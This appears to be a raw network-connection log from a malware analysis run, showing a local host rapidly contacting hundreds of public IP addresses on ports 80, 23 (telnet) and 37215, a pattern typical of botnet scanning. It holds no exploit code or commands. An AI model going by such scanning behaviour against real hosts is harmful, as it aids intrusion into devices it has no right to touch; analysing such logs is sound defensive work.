Dec 3, 2024 21:01:57.128353119 CET	20129	80	192.168.2.23	104.69.10.100
Dec 3, 2024 21:01:57.128354073 CET	20129	80	192.168.2.23	111.70.8.236
Dec 3, 2024 21:01:57.128362894 CET	20129	80	192.168.2.23	166.41.19.53
Dec 3, 2024 21:01:57.128369093 CET	20129	80	192.168.2.23	133.149.89.214
Dec 3, 2024 21:01:57.128376007 CET	20129	80	192.168.2.23	173.234.225.89
Dec 3, 2024 21:01:57.128381014 CET	20129	80	192.168.2.23	154.226.36.97
Dec 3, 2024 21:01:57.128398895 CET	20129	80	192.168.2.23	42.100.32.95
Dec 3, 2024 21:01:57.128398895 CET	20129	80	192.168.2.23	201.70.175.1
Dec 3, 2024 21:01:57.128428936 CET	20129	80	192.168.2.23	188.170.140.70
Dec 3, 2024 21:01:57.128443956 CET	20129	80	192.168.2.23	183.120.11.157
Dec 3, 2024 21:01:57.128448009 CET	20129	80	192.168.2.23	152.165.31.196
Dec 3, 2024 21:01:57.128448009 CET	20129	80	192.168.2.23	116.113.254.38
Dec 3, 2024 21:01:57.128454924 CET	20129	80	192.168.2.23	202.143.123.16
Dec 3, 2024 21:01:57.128454924 CET	20129	80	192.168.2.23	59.107.245.71
Dec 3, 2024 21:01:57.128464937 CET	20129	80	192.168.2.23	186.104.170.99
Dec 3, 2024 21:01:57.128485918 CET	20129	80	192.168.2.23	141.186.135.11
Dec 3, 2024 21:01:57.128488064 CET	20129	80	192.168.2.23	45.106.205.80
Dec 3, 2024 21:01:57.128492117 CET	20129	80	192.168.2.23	88.24.255.236
Dec 3, 2024 21:01:57.128514051 CET	20129	80	192.168.2.23	152.157.1.12
Dec 3, 2024 21:01:57.128519058 CET	20129	80	192.168.2.23	119.198.151.198
Dec 3, 2024 21:01:57.128529072 CET	20129	80	192.168.2.23	73.30.209.157
Dec 3, 2024 21:01:57.128541946 CET	20129	80	192.168.2.23	212.26.84.135
Dec 3, 2024 21:01:57.128546000 CET	20129	80	192.168.2.23	218.131.7.83
Dec 3, 2024 21:01:57.128559113 CET	20129	80	192.168.2.23	157.188.101.210
Dec 3, 2024 21:01:57.128563881 CET	20129	80	192.168.2.23	63.198.94.220
Dec 3, 2024 21:01:57.128597021 CET	20129	80	192.168.2.23	151.211.2.146
Dec 3, 2024 21:01:57.128599882 CET	20129	80	192.168.2.23	119.226.123.141
Dec 3, 2024 21:01:57.128604889 CET	20129	80	192.168.2.23	39.86.203.53
Dec 3, 2024 21:01:57.128621101 CET	20129	80	192.168.2.23	116.149.180.227
Dec 3, 2024 21:01:57.128621101 CET	20129	80	192.168.2.23	108.167.34.116
Dec 3, 2024 21:01:57.128627062 CET	20129	80	192.168.2.23	34.155.179.94
Dec 3, 2024 21:01:57.128635883 CET	20129	80	192.168.2.23	203.90.134.238
Dec 3, 2024 21:01:57.128640890 CET	20129	80	192.168.2.23	176.132.195.134
Dec 3, 2024 21:01:57.128643036 CET	20129	80	192.168.2.23	169.161.9.146
Dec 3, 2024 21:01:57.128645897 CET	20129	80	192.168.2.23	72.252.62.196
Dec 3, 2024 21:01:57.128678083 CET	20129	80	192.168.2.23	9.119.175.63
Dec 3, 2024 21:01:57.128679991 CET	20129	80	192.168.2.23	83.213.5.63
Dec 3, 2024 21:01:57.128684998 CET	55658	23	192.168.2.23	137.162.28.133
Dec 3, 2024 21:01:57.128684998 CET	20129	80	192.168.2.23	133.94.24.10
Dec 3, 2024 21:01:57.128689051 CET	20129	80	192.168.2.23	124.53.209.215
Dec 3, 2024 21:01:57.128704071 CET	20129	80	192.168.2.23	105.52.130.49
Dec 3, 2024 21:01:57.128717899 CET	20129	80	192.168.2.23	53.157.42.193
Dec 3, 2024 21:01:57.128717899 CET	20129	80	192.168.2.23	97.165.244.121
Dec 3, 2024 21:01:57.128717899 CET	20129	80	192.168.2.23	135.11.18.149
Dec 3, 2024 21:01:57.128751993 CET	20129	80	192.168.2.23	142.209.56.93
Dec 3, 2024 21:01:57.128752947 CET	20129	80	192.168.2.23	207.174.210.87
Dec 3, 2024 21:01:57.128758907 CET	20129	80	192.168.2.23	142.186.153.189
Dec 3, 2024 21:01:57.128758907 CET	20129	80	192.168.2.23	220.139.195.76
Dec 3, 2024 21:01:57.128758907 CET	20129	80	192.168.2.23	144.138.196.160
Dec 3, 2024 21:01:57.128762007 CET	20129	80	192.168.2.23	156.30.32.25
Dec 3, 2024 21:01:57.128762007 CET	20129	80	192.168.2.23	64.111.92.173
Dec 3, 2024 21:01:57.128773928 CET	20129	80	192.168.2.23	149.111.174.97
Dec 3, 2024 21:01:57.128779888 CET	20129	80	192.168.2.23	107.174.15.46
Dec 3, 2024 21:01:57.128783941 CET	20129	80	192.168.2.23	65.68.254.77
Dec 3, 2024 21:01:57.128813028 CET	20129	80	192.168.2.23	123.155.122.18
Dec 3, 2024 21:01:57.128813982 CET	20129	80	192.168.2.23	208.13.93.0
Dec 3, 2024 21:01:57.128823042 CET	20129	80	192.168.2.23	107.179.125.61
Dec 3, 2024 21:01:57.128823042 CET	20129	80	192.168.2.23	129.4.144.158
Dec 3, 2024 21:01:57.128838062 CET	20129	80	192.168.2.23	59.8.89.171
Dec 3, 2024 21:01:57.128844023 CET	20129	80	192.168.2.23	43.227.142.82
Dec 3, 2024 21:01:57.128844023 CET	20129	80	192.168.2.23	203.168.207.50
Dec 3, 2024 21:01:57.128858089 CET	20129	80	192.168.2.23	52.5.72.112
Dec 3, 2024 21:01:57.128885031 CET	20129	80	192.168.2.23	65.128.176.12
Dec 3, 2024 21:01:57.128890991 CET	20129	80	192.168.2.23	110.65.126.159
Dec 3, 2024 21:01:57.128909111 CET	20129	80	192.168.2.23	106.141.155.36
Dec 3, 2024 21:01:57.128911018 CET	20129	80	192.168.2.23	24.79.176.139
Dec 3, 2024 21:01:57.128911972 CET	20129	80	192.168.2.23	114.133.238.59
Dec 3, 2024 21:01:57.128914118 CET	20129	80	192.168.2.23	25.27.248.15
Dec 3, 2024 21:01:57.128923893 CET	20129	80	192.168.2.23	45.228.14.35
Dec 3, 2024 21:01:57.128964901 CET	20129	80	192.168.2.23	209.144.228.179
Dec 3, 2024 21:01:57.128969908 CET	20129	80	192.168.2.23	5.137.92.58
Dec 3, 2024 21:01:57.128973007 CET	20129	80	192.168.2.23	198.58.181.180
Dec 3, 2024 21:01:57.128982067 CET	20129	80	192.168.2.23	133.192.25.166
Dec 3, 2024 21:01:57.128988981 CET	20129	80	192.168.2.23	159.93.139.87
Dec 3, 2024 21:01:57.128989935 CET	20129	80	192.168.2.23	122.178.37.154
Dec 3, 2024 21:01:57.128998995 CET	20129	80	192.168.2.23	186.219.233.72
Dec 3, 2024 21:01:57.129014969 CET	20129	80	192.168.2.23	220.233.120.166
Dec 3, 2024 21:01:57.129021883 CET	20129	80	192.168.2.23	42.192.186.62
Dec 3, 2024 21:01:57.129045963 CET	20129	80	192.168.2.23	44.11.239.119
Dec 3, 2024 21:01:57.129050970 CET	20129	80	192.168.2.23	74.116.31.175
Dec 3, 2024 21:01:57.129059076 CET	20129	80	192.168.2.23	82.203.143.224
Dec 3, 2024 21:01:57.129062891 CET	20129	80	192.168.2.23	156.186.255.222
Dec 3, 2024 21:01:57.129069090 CET	20129	80	192.168.2.23	123.125.124.254
Dec 3, 2024 21:01:57.129074097 CET	20129	80	192.168.2.23	145.86.6.197
Dec 3, 2024 21:01:57.129118919 CET	20129	80	192.168.2.23	172.140.225.217
Dec 3, 2024 21:01:57.129126072 CET	20129	80	192.168.2.23	50.182.103.192
Dec 3, 2024 21:01:57.129134893 CET	20129	80	192.168.2.23	4.189.69.28
Dec 3, 2024 21:01:57.129156113 CET	20129	80	192.168.2.23	111.42.229.17
Dec 3, 2024 21:01:57.129156113 CET	20129	80	192.168.2.23	209.17.155.131
Dec 3, 2024 21:01:57.129189968 CET	20129	80	192.168.2.23	188.20.143.8
Dec 3, 2024 21:01:57.129199982 CET	20129	80	192.168.2.23	153.190.167.47
Dec 3, 2024 21:01:57.129206896 CET	46586	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:01:57.129206896 CET	20129	80	192.168.2.23	95.44.119.96
Dec 3, 2024 21:01:57.129209042 CET	20129	80	192.168.2.23	88.33.164.208
Dec 3, 2024 21:01:57.129209042 CET	20129	80	192.168.2.23	155.68.159.0
Dec 3, 2024 21:01:57.129218102 CET	20129	80	192.168.2.23	195.200.206.166
Dec 3, 2024 21:01:57.129225016 CET	20129	80	192.168.2.23	12.11.104.25
Dec 3, 2024 21:01:57.129226923 CET	20129	80	192.168.2.23	194.11.169.2
Dec 3, 2024 21:01:57.129241943 CET	20129	80	192.168.2.23	203.175.192.241
Dec 3, 2024 21:01:57.129268885 CET	20129	80	192.168.2.23	176.196.152.227
Dec 3, 2024 21:01:57.129271030 CET	20129	80	192.168.2.23	17.111.70.85
Dec 3, 2024 21:01:57.129285097 CET	20129	80	192.168.2.23	18.2.231.243
Dec 3, 2024 21:01:57.129297018 CET	20129	80	192.168.2.23	27.6.251.31
Dec 3, 2024 21:01:57.129301071 CET	20129	80	192.168.2.23	139.237.187.191
Dec 3, 2024 21:01:57.129302025 CET	20129	80	192.168.2.23	208.139.87.151
Dec 3, 2024 21:01:57.129308939 CET	20129	80	192.168.2.23	163.102.169.25
Dec 3, 2024 21:01:57.129313946 CET	20129	80	192.168.2.23	140.234.252.190
Dec 3, 2024 21:01:57.129348993 CET	20129	80	192.168.2.23	45.161.248.101
Dec 3, 2024 21:01:57.129354000 CET	20129	80	192.168.2.23	43.170.82.229
Dec 3, 2024 21:01:57.129363060 CET	20129	80	192.168.2.23	69.161.146.191
Dec 3, 2024 21:01:57.129367113 CET	20129	80	192.168.2.23	106.253.137.242
Dec 3, 2024 21:01:57.129374027 CET	20129	80	192.168.2.23	63.252.249.219
Dec 3, 2024 21:01:57.129381895 CET	20129	80	192.168.2.23	165.93.43.105
Dec 3, 2024 21:01:57.129381895 CET	20129	80	192.168.2.23	187.249.187.134
Dec 3, 2024 21:01:57.129393101 CET	20129	80	192.168.2.23	184.219.55.144
Dec 3, 2024 21:01:57.129396915 CET	20129	80	192.168.2.23	120.99.13.179
Dec 3, 2024 21:01:57.129419088 CET	20129	80	192.168.2.23	37.90.91.45
Dec 3, 2024 21:01:57.129422903 CET	20129	80	192.168.2.23	223.2.192.112
Dec 3, 2024 21:01:57.129424095 CET	20129	80	192.168.2.23	185.38.131.121
Dec 3, 2024 21:01:57.129432917 CET	20129	80	192.168.2.23	171.133.230.212
Dec 3, 2024 21:01:57.129435062 CET	20129	80	192.168.2.23	149.18.207.204
Dec 3, 2024 21:01:57.129441023 CET	20129	80	192.168.2.23	73.53.237.141
Dec 3, 2024 21:01:57.129446030 CET	20129	80	192.168.2.23	160.108.135.95
Dec 3, 2024 21:01:57.129460096 CET	20129	80	192.168.2.23	222.13.12.44
Dec 3, 2024 21:01:57.129467964 CET	20129	80	192.168.2.23	210.135.128.209
Dec 3, 2024 21:01:57.129476070 CET	20129	80	192.168.2.23	152.249.202.231
Dec 3, 2024 21:01:57.129506111 CET	20129	80	192.168.2.23	156.203.40.85
Dec 3, 2024 21:01:57.129506111 CET	20129	80	192.168.2.23	202.216.85.123
Dec 3, 2024 21:01:57.129522085 CET	20129	80	192.168.2.23	53.127.223.229
Dec 3, 2024 21:01:57.129523039 CET	20129	80	192.168.2.23	112.251.6.171
Dec 3, 2024 21:01:57.129538059 CET	20129	80	192.168.2.23	183.219.212.204
Dec 3, 2024 21:01:57.129539013 CET	20129	80	192.168.2.23	135.215.78.210
Dec 3, 2024 21:01:57.129554033 CET	20129	80	192.168.2.23	70.23.199.167
Dec 3, 2024 21:01:57.129581928 CET	20129	80	192.168.2.23	57.8.226.16
Dec 3, 2024 21:01:57.129585981 CET	20129	80	192.168.2.23	193.251.171.77
Dec 3, 2024 21:01:57.129604101 CET	20129	80	192.168.2.23	162.198.190.218
Dec 3, 2024 21:01:57.129611969 CET	20129	80	192.168.2.23	98.242.73.40
Dec 3, 2024 21:01:57.129617929 CET	20129	80	192.168.2.23	76.133.246.29
Dec 3, 2024 21:01:57.129628897 CET	20129	80	192.168.2.23	175.36.100.22
Dec 3, 2024 21:01:57.129661083 CET	20129	80	192.168.2.23	79.158.114.109
Dec 3, 2024 21:01:57.129658937 CET	20129	80	192.168.2.23	155.158.150.2
Dec 3, 2024 21:01:57.129658937 CET	20129	80	192.168.2.23	83.45.162.115
Dec 3, 2024 21:01:57.129664898 CET	20129	80	192.168.2.23	216.190.206.65
Dec 3, 2024 21:01:57.129667997 CET	20129	80	192.168.2.23	205.90.33.92
Dec 3, 2024 21:01:57.129671097 CET	20129	80	192.168.2.23	68.204.193.180
Dec 3, 2024 21:01:57.129673958 CET	20129	80	192.168.2.23	160.206.198.226
Dec 3, 2024 21:01:57.129677057 CET	20129	80	192.168.2.23	18.25.33.76
Dec 3, 2024 21:01:57.129678965 CET	20129	80	192.168.2.23	195.115.100.211
Dec 3, 2024 21:01:57.129686117 CET	20129	80	192.168.2.23	123.19.6.139
Dec 3, 2024 21:01:57.129693985 CET	20129	80	192.168.2.23	136.116.123.251
Dec 3, 2024 21:01:57.129712105 CET	59076	23	192.168.2.23	186.219.184.25
Dec 3, 2024 21:01:57.129731894 CET	20129	80	192.168.2.23	189.14.144.144
Dec 3, 2024 21:01:57.129743099 CET	20129	80	192.168.2.23	189.213.232.19
Dec 3, 2024 21:01:57.129759073 CET	20129	80	192.168.2.23	165.197.55.230
Dec 3, 2024 21:01:57.129762888 CET	20129	80	192.168.2.23	135.21.243.89
Dec 3, 2024 21:01:57.129762888 CET	20129	80	192.168.2.23	5.208.76.92
Dec 3, 2024 21:01:57.129766941 CET	20129	80	192.168.2.23	199.3.173.221
Dec 3, 2024 21:01:57.129772902 CET	20129	80	192.168.2.23	133.237.137.230
Dec 3, 2024 21:01:57.129782915 CET	20129	80	192.168.2.23	162.213.66.115
Dec 3, 2024 21:01:57.129808903 CET	20129	80	192.168.2.23	167.84.63.52
Dec 3, 2024 21:01:57.129810095 CET	20129	80	192.168.2.23	166.95.202.24
Dec 3, 2024 21:01:57.129812956 CET	20129	80	192.168.2.23	2.96.118.44
Dec 3, 2024 21:01:57.129827976 CET	20129	80	192.168.2.23	72.163.231.145
Dec 3, 2024 21:01:57.129834890 CET	20129	80	192.168.2.23	88.17.200.99
Dec 3, 2024 21:01:57.129837990 CET	20129	80	192.168.2.23	139.32.25.76
Dec 3, 2024 21:01:57.129837990 CET	20129	80	192.168.2.23	71.155.11.8
Dec 3, 2024 21:01:57.129853010 CET	20129	80	192.168.2.23	97.68.225.56
Dec 3, 2024 21:01:57.129854918 CET	20129	80	192.168.2.23	153.17.60.166
Dec 3, 2024 21:01:57.129856110 CET	20129	80	192.168.2.23	128.177.99.165
Dec 3, 2024 21:01:57.129862070 CET	20129	80	192.168.2.23	54.39.187.146
Dec 3, 2024 21:01:57.129863024 CET	20129	80	192.168.2.23	174.207.135.140
Dec 3, 2024 21:01:57.129888058 CET	20129	80	192.168.2.23	122.32.124.131
Dec 3, 2024 21:01:57.129888058 CET	20129	80	192.168.2.23	89.153.236.51
Dec 3, 2024 21:01:57.129890919 CET	20129	80	192.168.2.23	193.211.255.195
Dec 3, 2024 21:01:57.129894972 CET	20129	80	192.168.2.23	81.200.32.28
Dec 3, 2024 21:01:57.129910946 CET	20129	80	192.168.2.23	120.137.143.36
Dec 3, 2024 21:01:57.129915953 CET	20129	80	192.168.2.23	176.125.209.248
Dec 3, 2024 21:01:57.129915953 CET	20129	80	192.168.2.23	162.52.147.39
Dec 3, 2024 21:01:57.129918098 CET	20129	80	192.168.2.23	82.47.30.252
Dec 3, 2024 21:01:57.129924059 CET	20129	80	192.168.2.23	125.158.98.150
Dec 3, 2024 21:01:57.129924059 CET	20129	80	192.168.2.23	207.153.176.213
Dec 3, 2024 21:01:57.129926920 CET	20129	80	192.168.2.23	2.254.9.185
Dec 3, 2024 21:01:57.129968882 CET	20129	80	192.168.2.23	121.171.251.216
Dec 3, 2024 21:01:57.129970074 CET	20129	80	192.168.2.23	128.84.83.13
Dec 3, 2024 21:01:57.129978895 CET	20129	80	192.168.2.23	20.227.76.115
Dec 3, 2024 21:01:57.129981995 CET	20129	80	192.168.2.23	146.91.245.196
Dec 3, 2024 21:01:57.129997969 CET	20129	80	192.168.2.23	208.22.52.2
Dec 3, 2024 21:01:57.130001068 CET	20129	80	192.168.2.23	82.130.83.25
Dec 3, 2024 21:01:57.130546093 CET	39406	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:01:57.130568981 CET	20129	80	192.168.2.23	202.141.238.218
Dec 3, 2024 21:01:57.130570889 CET	20129	80	192.168.2.23	173.153.12.172
Dec 3, 2024 21:01:57.130579948 CET	20129	80	192.168.2.23	159.129.84.14
Dec 3, 2024 21:01:57.130580902 CET	20129	80	192.168.2.23	131.101.132.169
Dec 3, 2024 21:01:57.130583048 CET	20129	80	192.168.2.23	219.132.62.117
Dec 3, 2024 21:01:57.130593061 CET	20129	80	192.168.2.23	139.59.85.244
Dec 3, 2024 21:01:57.130615950 CET	20129	80	192.168.2.23	109.150.247.14
Dec 3, 2024 21:01:57.130640984 CET	20129	80	192.168.2.23	100.142.109.170
Dec 3, 2024 21:01:57.130641937 CET	20129	80	192.168.2.23	61.241.30.177
Dec 3, 2024 21:01:57.130641937 CET	20129	80	192.168.2.23	174.101.61.164
Dec 3, 2024 21:01:57.130656958 CET	20129	80	192.168.2.23	171.254.0.163
Dec 3, 2024 21:01:57.130666971 CET	20129	80	192.168.2.23	154.237.176.106
Dec 3, 2024 21:01:57.130670071 CET	20129	80	192.168.2.23	204.163.83.221
Dec 3, 2024 21:01:57.130670071 CET	20129	80	192.168.2.23	50.246.136.105
Dec 3, 2024 21:01:57.130670071 CET	20129	80	192.168.2.23	188.126.122.243
Dec 3, 2024 21:01:57.130702019 CET	20129	80	192.168.2.23	177.219.240.103
Dec 3, 2024 21:01:57.130706072 CET	20129	80	192.168.2.23	190.77.10.200
Dec 3, 2024 21:01:57.130714893 CET	20129	80	192.168.2.23	63.251.96.235
Dec 3, 2024 21:01:57.130718946 CET	20129	80	192.168.2.23	145.231.227.159
Dec 3, 2024 21:01:57.130733013 CET	20129	80	192.168.2.23	177.186.50.8
Dec 3, 2024 21:01:57.130733013 CET	20129	80	192.168.2.23	159.91.55.125
Dec 3, 2024 21:01:57.130739927 CET	20129	80	192.168.2.23	14.180.8.92
Dec 3, 2024 21:01:57.130739927 CET	20129	80	192.168.2.23	200.228.134.123
Dec 3, 2024 21:01:57.130760908 CET	20129	80	192.168.2.23	131.111.124.249
Dec 3, 2024 21:01:57.130778074 CET	20129	80	192.168.2.23	90.46.108.132
Dec 3, 2024 21:01:57.130779028 CET	20129	80	192.168.2.23	205.105.99.233
Dec 3, 2024 21:01:57.130779028 CET	20129	80	192.168.2.23	93.102.178.184
Dec 3, 2024 21:01:57.130789042 CET	20129	80	192.168.2.23	151.150.204.38
Dec 3, 2024 21:01:57.130795956 CET	20129	80	192.168.2.23	17.130.242.145
Dec 3, 2024 21:01:57.130806923 CET	20129	80	192.168.2.23	111.71.236.172
Dec 3, 2024 21:01:57.130836964 CET	20129	80	192.168.2.23	205.234.147.204
Dec 3, 2024 21:01:57.130847931 CET	20129	80	192.168.2.23	152.131.170.247
Dec 3, 2024 21:01:57.130861998 CET	20129	80	192.168.2.23	190.93.119.81
Dec 3, 2024 21:01:57.130865097 CET	20129	80	192.168.2.23	47.116.13.87
Dec 3, 2024 21:01:57.130878925 CET	20129	80	192.168.2.23	73.244.20.80
Dec 3, 2024 21:01:57.130878925 CET	20129	80	192.168.2.23	210.44.238.57
Dec 3, 2024 21:01:57.130878925 CET	20129	80	192.168.2.23	106.238.46.33
Dec 3, 2024 21:01:57.130886078 CET	20129	80	192.168.2.23	89.54.60.188
Dec 3, 2024 21:01:57.130927086 CET	20129	80	192.168.2.23	102.143.142.134
Dec 3, 2024 21:01:57.130932093 CET	20129	80	192.168.2.23	153.123.150.63
Dec 3, 2024 21:01:57.130934000 CET	20129	80	192.168.2.23	141.55.152.11
Dec 3, 2024 21:01:57.130950928 CET	20129	80	192.168.2.23	43.93.62.195
Dec 3, 2024 21:01:57.130950928 CET	20129	80	192.168.2.23	149.191.170.29
Dec 3, 2024 21:01:57.130981922 CET	20129	80	192.168.2.23	42.44.29.93
Dec 3, 2024 21:01:57.130984068 CET	20129	80	192.168.2.23	137.100.67.228
Dec 3, 2024 21:01:57.130984068 CET	20129	80	192.168.2.23	206.203.195.166
Dec 3, 2024 21:01:57.130990982 CET	20129	80	192.168.2.23	149.17.135.183
Dec 3, 2024 21:01:57.131011009 CET	20129	80	192.168.2.23	53.13.23.21
Dec 3, 2024 21:01:57.131017923 CET	20129	80	192.168.2.23	9.93.232.31
Dec 3, 2024 21:01:57.131019115 CET	20129	80	192.168.2.23	163.99.176.121
Dec 3, 2024 21:01:57.131021023 CET	20129	80	192.168.2.23	125.177.251.139
Dec 3, 2024 21:01:57.131053925 CET	45700	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:01:57.131059885 CET	20129	80	192.168.2.23	129.235.237.244
Dec 3, 2024 21:01:57.131069899 CET	20129	80	192.168.2.23	162.233.95.176
Dec 3, 2024 21:01:57.131074905 CET	20129	80	192.168.2.23	154.238.245.215
Dec 3, 2024 21:01:57.131074905 CET	20129	80	192.168.2.23	104.182.56.221
Dec 3, 2024 21:01:57.131093025 CET	20129	80	192.168.2.23	58.198.4.20
Dec 3, 2024 21:01:57.131125927 CET	20129	80	192.168.2.23	210.23.236.1
Dec 3, 2024 21:01:57.131127119 CET	20129	80	192.168.2.23	120.5.49.180
Dec 3, 2024 21:01:57.131134987 CET	20129	80	192.168.2.23	14.235.188.130
Dec 3, 2024 21:01:57.131134987 CET	20129	80	192.168.2.23	176.102.154.137
Dec 3, 2024 21:01:57.131145954 CET	20129	80	192.168.2.23	155.182.245.131
Dec 3, 2024 21:01:57.131150961 CET	20129	80	192.168.2.23	79.51.142.18
Dec 3, 2024 21:01:57.131160021 CET	20129	80	192.168.2.23	188.27.123.124
Dec 3, 2024 21:01:57.131166935 CET	20129	80	192.168.2.23	48.213.231.226
Dec 3, 2024 21:01:57.131534100 CET	52140	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:01:57.132136106 CET	56710	80	192.168.2.23	191.53.63.28
Dec 3, 2024 21:01:57.132363081 CET	34264	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:01:57.133325100 CET	56418	80	192.168.2.23	136.20.109.63
Dec 3, 2024 21:01:57.133389950 CET	50218	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:01:57.134135962 CET	43098	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:01:57.134915113 CET	55582	23	192.168.2.23	162.138.49.44
Dec 3, 2024 21:01:57.135427952 CET	59070	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:01:57.135935068 CET	39834	23	192.168.2.23	176.95.203.185
Dec 3, 2024 21:01:57.136440039 CET	49232	23	192.168.2.23	170.202.138.1
Dec 3, 2024 21:01:57.136945963 CET	60336	23	192.168.2.23	134.177.115.51
Dec 3, 2024 21:01:57.137502909 CET	43560	23	192.168.2.23	145.112.114.60
Dec 3, 2024 21:01:57.137988091 CET	33404	23	192.168.2.23	109.254.38.21
Dec 3, 2024 21:01:57.138458014 CET	52820	23	192.168.2.23	71.111.178.196
Dec 3, 2024 21:01:57.138942003 CET	54648	23	192.168.2.23	219.111.201.216
Dec 3, 2024 21:01:57.139446020 CET	42974	23	192.168.2.23	164.79.24.43
Dec 3, 2024 21:01:57.139938116 CET	50466	23	192.168.2.23	37.7.60.190
Dec 3, 2024 21:01:57.140414000 CET	33530	23	192.168.2.23	46.105.128.203
Dec 3, 2024 21:01:57.140899897 CET	38062	23	192.168.2.23	91.40.76.189
Dec 3, 2024 21:01:57.141393900 CET	44932	23	192.168.2.23	78.221.27.128
Dec 3, 2024 21:01:57.141872883 CET	45500	23	192.168.2.23	193.149.120.213
Dec 3, 2024 21:01:57.148025036 CET	18849	37215	192.168.2.23	41.124.51.131
Dec 3, 2024 21:01:57.148030996 CET	18849	37215	192.168.2.23	156.94.220.149
Dec 3, 2024 21:01:57.148035049 CET	18849	37215	192.168.2.23	197.65.211.194
Dec 3, 2024 21:01:57.148036003 CET	18849	37215	192.168.2.23	156.250.222.127
Dec 3, 2024 21:01:57.148041964 CET	18849	37215	192.168.2.23	156.16.85.197
Dec 3, 2024 21:01:57.148055077 CET	18849	37215	192.168.2.23	156.227.182.228
Dec 3, 2024 21:01:57.148055077 CET	18849	37215	192.168.2.23	197.41.255.185
Dec 3, 2024 21:01:57.148055077 CET	18849	37215	192.168.2.23	156.117.138.149
Dec 3, 2024 21:01:57.148060083 CET	18849	37215	192.168.2.23	156.12.109.12
Dec 3, 2024 21:01:57.148070097 CET	18849	37215	192.168.2.23	41.108.90.47
Dec 3, 2024 21:01:57.148075104 CET	18849	37215	192.168.2.23	156.215.17.224
Dec 3, 2024 21:01:57.148075104 CET	18849	37215	192.168.2.23	156.177.151.194
Dec 3, 2024 21:01:57.148082018 CET	18849	37215	192.168.2.23	197.89.124.118
Dec 3, 2024 21:01:57.148082018 CET	18849	37215	192.168.2.23	156.130.186.88
Dec 3, 2024 21:01:57.148083925 CET	18849	37215	192.168.2.23	41.180.191.156
Dec 3, 2024 21:01:57.148083925 CET	18849	37215	192.168.2.23	197.36.237.253
Dec 3, 2024 21:01:57.148097992 CET	18849	37215	192.168.2.23	156.35.33.151
Dec 3, 2024 21:01:57.148097992 CET	18849	37215	192.168.2.23	197.204.111.52
Dec 3, 2024 21:01:57.148116112 CET	18849	37215	192.168.2.23	197.191.182.11
Dec 3, 2024 21:01:57.148118973 CET	18849	37215	192.168.2.23	156.48.188.66
Dec 3, 2024 21:01:57.148118973 CET	18849	37215	192.168.2.23	41.238.101.195
Dec 3, 2024 21:01:57.148124933 CET	18849	37215	192.168.2.23	41.87.243.31
Dec 3, 2024 21:01:57.148133993 CET	18849	37215	192.168.2.23	156.37.216.208
Dec 3, 2024 21:01:57.148133993 CET	18849	37215	192.168.2.23	197.180.190.92
Dec 3, 2024 21:01:57.148139954 CET	18849	37215	192.168.2.23	41.57.110.71
Dec 3, 2024 21:01:57.148145914 CET	18849	37215	192.168.2.23	156.232.2.152
Dec 3, 2024 21:01:57.148147106 CET	18849	37215	192.168.2.23	156.231.72.112
Dec 3, 2024 21:01:57.148164034 CET	18849	37215	192.168.2.23	41.168.70.189
Dec 3, 2024 21:01:57.148169041 CET	18849	37215	192.168.2.23	156.135.205.122
Dec 3, 2024 21:01:57.148169994 CET	18849	37215	192.168.2.23	156.3.26.160
Dec 3, 2024 21:01:57.148175955 CET	18849	37215	192.168.2.23	41.175.54.14
Dec 3, 2024 21:01:57.148178101 CET	18849	37215	192.168.2.23	41.20.138.224
Dec 3, 2024 21:01:57.148190022 CET	18849	37215	192.168.2.23	156.203.90.206
Dec 3, 2024 21:01:57.148195028 CET	18849	37215	192.168.2.23	197.139.6.204
Dec 3, 2024 21:01:57.148202896 CET	18849	37215	192.168.2.23	156.122.48.186
Dec 3, 2024 21:01:57.148211002 CET	18849	37215	192.168.2.23	41.95.235.159
Dec 3, 2024 21:01:57.148212910 CET	18849	37215	192.168.2.23	197.136.159.160
Dec 3, 2024 21:01:57.148220062 CET	18849	37215	192.168.2.23	156.227.101.197
Dec 3, 2024 21:01:57.148220062 CET	18849	37215	192.168.2.23	41.3.150.233
Dec 3, 2024 21:01:57.148222923 CET	18849	37215	192.168.2.23	197.227.214.188
Dec 3, 2024 21:01:57.148233891 CET	18849	37215	192.168.2.23	197.224.12.44
Dec 3, 2024 21:01:57.148235083 CET	18849	37215	192.168.2.23	156.117.128.85
Dec 3, 2024 21:01:57.148241043 CET	18849	37215	192.168.2.23	41.81.209.253
Dec 3, 2024 21:01:57.148252010 CET	18849	37215	192.168.2.23	197.240.7.149
Dec 3, 2024 21:01:57.148253918 CET	18849	37215	192.168.2.23	41.168.203.255
Dec 3, 2024 21:01:57.148266077 CET	18849	37215	192.168.2.23	156.34.193.234
Dec 3, 2024 21:01:57.148268938 CET	18849	37215	192.168.2.23	41.56.207.79
Dec 3, 2024 21:01:57.148268938 CET	18849	37215	192.168.2.23	41.134.157.207
Dec 3, 2024 21:01:57.148283958 CET	18849	37215	192.168.2.23	197.129.13.251
Dec 3, 2024 21:01:57.148289919 CET	18849	37215	192.168.2.23	197.73.128.198
Dec 3, 2024 21:01:57.148289919 CET	18849	37215	192.168.2.23	156.80.202.42
Dec 3, 2024 21:01:57.148303986 CET	18849	37215	192.168.2.23	41.137.39.79
Dec 3, 2024 21:01:57.148303986 CET	18849	37215	192.168.2.23	156.233.105.203
Dec 3, 2024 21:01:57.148320913 CET	18849	37215	192.168.2.23	156.54.124.117
Dec 3, 2024 21:01:57.148324966 CET	18849	37215	192.168.2.23	41.154.252.252
Dec 3, 2024 21:01:57.148330927 CET	18849	37215	192.168.2.23	156.110.47.108
Dec 3, 2024 21:01:57.148330927 CET	18849	37215	192.168.2.23	41.137.95.227
Dec 3, 2024 21:01:57.148333073 CET	18849	37215	192.168.2.23	41.103.70.241
Dec 3, 2024 21:01:57.148341894 CET	18849	37215	192.168.2.23	156.26.192.79
Dec 3, 2024 21:01:57.148350954 CET	18849	37215	192.168.2.23	156.196.79.102
Dec 3, 2024 21:01:57.148351908 CET	18849	37215	192.168.2.23	41.15.8.72
Dec 3, 2024 21:01:57.148353100 CET	18849	37215	192.168.2.23	41.182.255.16
Dec 3, 2024 21:01:57.148353100 CET	18849	37215	192.168.2.23	41.97.176.225
Dec 3, 2024 21:01:57.148367882 CET	18849	37215	192.168.2.23	41.15.238.61
